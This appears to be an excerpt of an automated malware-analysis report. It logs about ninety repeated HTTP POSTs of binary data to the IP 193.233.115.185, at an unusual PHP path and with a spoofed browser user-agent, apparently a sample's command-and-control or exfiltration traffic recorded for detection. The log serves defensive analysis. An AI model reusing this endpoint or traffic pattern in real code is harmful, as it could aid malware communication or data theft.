                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 1884Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 1884Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 1884Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 1884Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 1856Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 1884Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2536Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 1884Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 1884Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 1884Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2544Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 1884Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 2548Expect: 100-continueConnection: Keep-Alive
                          Source: global trafficHTTP traffic detected: POST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 193.233.115.185Content-Length: 1884Expect: 100-continueConnection: Keep-Alive
